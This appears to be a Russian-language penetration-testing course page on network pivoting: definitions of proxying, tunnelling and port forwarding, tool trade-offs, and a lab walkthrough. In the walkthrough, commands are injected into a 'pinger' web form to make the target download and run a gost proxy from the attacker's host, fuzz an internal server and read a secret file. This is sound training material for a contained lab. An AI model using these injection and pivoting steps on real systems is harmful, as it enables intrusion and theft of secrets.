Skip to main content

Проброс сетевого трафика

Pivoting (англ. Pivot – “точка опоры”) – набор техник, с помощью которых организовывается доступ к тем сетям, к которым нет доступа при обычных обстоятельствах. При этом доступ получен с использованием скомпрометированных компьютеров.

Прокси-сервер (англ. “Proxy”) — промежуточный сервер в компьютерных сетях, выполняющий роль посредника между
пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы.

Туннелирование в компьютерных сетях (англ. “Tunneling”) — процесс, в ходе которого создается логическое соединение
между двумя конечными точками посредством инкапсуляции различных протоколов.

Переадресация портов (англ. “Port Forwarding”) — проброс портов, который также иногда называемый перенаправлением портов или туннелированием, – это процесс пересылки трафика, адресованного конкретному сетевому порту с одного сетевого узла на другой.

Port2Port (также известный как P2P) — это техника перенаправления сетевого трафика между двумя различными портами на
одном и том же компьютере или между двумя разными компьютерами.

Port2Hostnet — это техника перенаправления сетевого трафика через порт в сеть удаленного узла.

Общая задача

Есть доступ к системе ОС Linux, задача — найти сервисы внутренней сети и получить к ней доступ со своей рабочей машины. 

Задачу проброса трафика можно разделить по:

Инструментам:

  • Подходы, использующие внутренние инструменты ОС: ssh, nc, bash и пр.
  • Подходы, использующие внешние утилиты: socat, meterpreter, gost и пр.

Методам:

  • Стандартные протоколы, не использующие скрытие трафика: TCP, UDP, HTTPS, SSH, VPN.
  • Нестандартные протоколы, позволяющие обходить системы обнаружения, ограничения и скрывать наличие туннеля: ICMP, DNS, HTTPS (в виде легитимных запросов к приложению).

Проблемы, присущие методам проброса трафика

  • Нестабильность соединений.
  • Исключение возможности использовать протоколы ниже прикладного или транспортного уровня.
  • Детектирование зловредного трафика в сети.
  • Ограничение соединений между узлами, логическими сегментами сети, используемыми портами.

Стандартные протоколы для проброса трафика

Встроенные утилиты:

Плюсы Минусы
Удобство и простота использования.
Возможность использования почти на любой ОС.
Относительная надежность соединения.
Во многих встроенных утилитах отсутствует механизм шифрования трафика.

Внешние утилиты:

Плюсы Минусы
Внедрение механизмов шифрования.
Добавление дополнительных функций поддержания туннеля.
Возможность установки в большинство ОС для использования при отсутствии встроенных механизмов.
Необходимость установки потенциально вредоносного ПО.
Необходимость разбираться в сложных правилах проброса трафика.
Относительная ненадежность использования собственного ПО.

Пример

Лабораторный стенд: 

https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip

//Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере

Дано: есть доступ на машину jump. Задача — получить удобный доступ к сервису: target:80 Ход действий

  1. Запускаем лабораторный стенд: 
    $ docker-compose up -d
  2. Проверяем доступность сервиса pinger через web-интерфейс.
  3. Проверяем возможность инъекции команд, затем соберем информацию о сервисе:
    1.1.1.1; ls
    hostname -I
  4. IP-адрес принадлежит локальной сети, попробуем найти в ней другие хосты, скрытые в локальной сети: 
    curl 172.22.0.2
  5. Чтобы найти файл на скрытом web-сервере, используем ffuf, но для этого необходимо стабильное соединение с целевым сервером через промежуточный хост. Используем прокси из проекта Go simple tunnel Скачиваем бинарный файл из релизов, выбираем сборку для Linux с amd64, например https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz
  6. Подготовим веб-сервер для передачи этого файла на атакуемую машину: 
    $ cd /tmp
    $ mkdir http; cd http
    $ wget https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz
    $ gunzip gost-linux-amd64-2.11.5.gz # распаковка архива с бинарником
    $ mv gost-linux-amd64-2.11.5 gost
    $ python3 -m http.server 3000
  7. Определяем наш IP-адрес и в браузере выполняем скачивание файла через интерфейс pinger: 
    1.1.1.1 | curl 172.20.10.7:3000/gost --output gost
  8. Выдаем права на исполнение и запускаем туннель 
    chmod +x gost
    1.1.1.1 | ./gost -L=:1338
  9. Настроим утилиту ffuf для использования прокси  для обнаружения файлов на удаленном веб-сервере с IP 172.22.0.2 в локальной сети используя словарь fuzz.txt  
    http_proxy=127.0.0.1:1338 ffuf -w ~/Repositories/YAWR/Web/files_and_directories/fuzz.txt -u http://172.22.0.2/FUZZ -fc 403
  10. Получим файл config.inc~, прочтем его с помощью curl и получим секрет: 
    1.1.1.1 | curl 172.22.0.2/config.inc~